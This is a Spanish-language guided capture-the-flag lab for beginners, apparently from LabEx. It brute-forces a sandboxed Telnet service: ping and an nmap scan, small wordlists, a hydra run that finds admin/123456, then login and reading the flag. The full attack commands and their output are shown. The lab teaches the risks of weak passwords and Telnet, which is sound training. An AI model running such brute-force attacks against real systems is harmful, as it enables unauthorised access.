Fuerza Bruta en Telnet y Credenciales Débiles

LinuxBeginner
Practicar Ahora

Introducción

Bienvenido a este laboratorio práctico centrado en la seguridad de contraseñas y los ataques de fuerza bruta. Muchas brechas de seguridad ocurren no por exploits de software complejos, sino por credenciales simples, débiles o predeterminadas. Un ataque de fuerza bruta es un método automatizado de probar numerosas combinaciones de nombre de usuario y contraseña hasta encontrar la correcta.

En este laboratorio, simularás un ataque a un sistema con un servicio Telnet vulnerable protegido por una contraseña débil. Utilizarás herramientas estándar de pruebas de penetración para realizar reconocimiento, prepararte para el ataque y ejecutarlo. Comenzarás verificando la conectividad, escaneando el objetivo con nmap y luego utilizando hydra, una popular herramienta de cracking de contraseñas, para descubrir las credenciales de inicio de sesión. Finalmente, usarás las credenciales descubiertas para acceder al sistema y capturar una bandera (flag).

Al finalizar, comprenderás cómo:

  • Verificar la conectividad de red usando ping.
  • Usar nmap para confirmar que un servicio específico está en ejecución.
  • Crear listas de palabras (wordlists) para un ataque de fuerza bruta.
  • Usar hydra para realizar un ataque de fuerza bruta contra un servicio Telnet.
  • Obtener acceso a un sistema utilizando credenciales comprometidas.

Empecemos.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 85%. Ha recibido una tasa de reseñas positivas del 100% por parte de los estudiantes.

Verificar Conectividad con el Objetivo mediante Ping

En este paso, comenzarás confirmando que tu máquina de ataque puede comunicarse con el sistema objetivo. El comando ping es una herramienta básica de diagnóstico de red que envía una solicitud a un host objetivo y espera una respuesta, confirmando su accesibilidad.

Tu entorno incluye un sistema objetivo accesible con el nombre de host target. Para asegurarte de que está en línea y responde, ejecuta el siguiente comando en tu terminal. La opción -c 4 indica a ping que envíe exactamente cuatro paquetes.

ping -c 4 target

Deberías ver una respuesta similar a la que se muestra a continuación. Esto confirma que el objetivo está en línea y que tu conexión de red es estable. La dirección IP y los tiempos de respuesta pueden variar ligeramente.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

Con la conectividad confirmada, estás listo para proceder con el escaneo del objetivo.

Escanear Puertos Abiertos con Nmap

En este paso, utilizarás nmap para escanear el objetivo en busca de puertos abiertos y servicios en ejecución. Esta es una parte crítica del reconocimiento, ya que ayuda a identificar posibles puntos de entrada. Sospechamos que se está ejecutando un servicio Telnet, que típicamente utiliza el puerto 23.

Para confirmar esto, ejecuta un escaneo nmap dirigido. La opción -p 23 enfoca el escaneo específicamente en el puerto Telnet.

Ejecuta el siguiente comando en tu terminal:

nmap -p 23 target

La salida mostrará el estado del puerto especificado. Deberías ver un resultado similar a este:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).

PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

La salida confirma que el puerto 23/tcp está open (abierto) y está ejecutando un servicio telnet. Este es el servicio al que nos dirigiremos en el siguiente paso.

Conectar al Objetivo vía Telnet con Fuerza Bruta

En este paso, realizarás un ataque de fuerza bruta contra el servicio Telnet utilizando hydra. Dado que no conocemos la contraseña, proporcionaremos a hydra listas de nombres de usuario y contraseñas potenciales para que las pruebe automáticamente.

Primero, crea dos listas de palabras simples. Una para nombres de usuario (users.txt) y otra para contraseñas (pass.txt). Incluiremos candidatos comunes y probables.

Crea la lista de nombres de usuario:

echo -e "admin\nuser\nroot" > users.txt

Crea la lista de contraseñas:

echo -e "password\nadmin\n123456" > pass.txt

Ahora, usa hydra para lanzar el ataque. La opción -L especifica la lista de usuarios, -P especifica la lista de contraseñas, y telnet://target define el protocolo y el host a atacar.

hydra -L users.txt -P pass.txt telnet://target

hydra intentará iniciar sesión con cada combinación de nombre de usuario y contraseña de tus listas. Después de unos momentos, encontrará las credenciales correctas y las mostrará.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target   login: admin   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57

La salida muestra claramente que se encontró un inicio de sesión válido: nombre de usuario admin con contraseña 123456.

Explorar Sistema Objetivo y Localizar Flag

En este paso, utilizarás las credenciales descubiertas por hydra para iniciar sesión en el sistema objetivo y encontrar la bandera (flag). Esta es la fase final del ataque, donde logras tu objetivo.

Conéctate al objetivo utilizando el cliente telnet:

telnet target

El sistema te pedirá un inicio de sesión. Ingresa el nombre de usuario admin y presiona Enter. Luego, cuando se te solicite la contraseña, ingresa 123456 y presiona Enter.

Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.

Linux 5.15.0-56-generic (target) (pts/0)

target login: admin
Password:

Tras un inicio de sesión exitoso, se te presentará un prompt de shell. Ahora estás dentro del sistema objetivo.

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$

Ahora, lista el contenido del directorio actual (/home/admin) para encontrar la bandera.

ls -la

Verás el archivo flag.txt en la lista.

admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root  root  4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin   33 Sep 19 06:08 flag.txt

Finalmente, utiliza el comando cat para leer el contenido de flag.txt.

cat flag.txt

La terminal mostrará la bandera.

admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}

¡Felicidades! Has realizado con éxito un ataque de fuerza bruta al servicio Telnet y has capturado la bandera. Copia el valor de la bandera para completar el laboratorio. Para salir de la sesión, escribe logout y presiona Enter.

Resumen

En este laboratorio, ejecutaste con éxito un ataque de fuerza bruta contra un servicio Telnet. Aprendiste un enfoque sistemático para comprometer un sistema con credenciales débiles.

Practicaste cómo:

  • Confirmar la alcanzabilidad de la red con ping.
  • Usar nmap para verificar que un servicio específico está activo en un puerto objetivo.
  • Crear listas de nombres de usuario y contraseñas simples pero efectivas.
  • Emplear hydra para automatizar el proceso de probar combinaciones de inicio de sesión e identificar credenciales válidas.
  • Usar las credenciales comprometidas para iniciar sesión, explorar el sistema objetivo y recuperar una bandera (flag).

Este ejercicio demuestra un riesgo de seguridad fundamental: el uso de contraseñas débiles y fáciles de adivinar. También resalta el peligro de usar protocolos no cifrados como Telnet, que exponen las credenciales a la escucha de red (network sniffing). Las habilidades que has aprendido son esenciales tanto para los hackers éticos que prueban las defensas del sistema como para los administradores de sistemas que deben asegurarlos.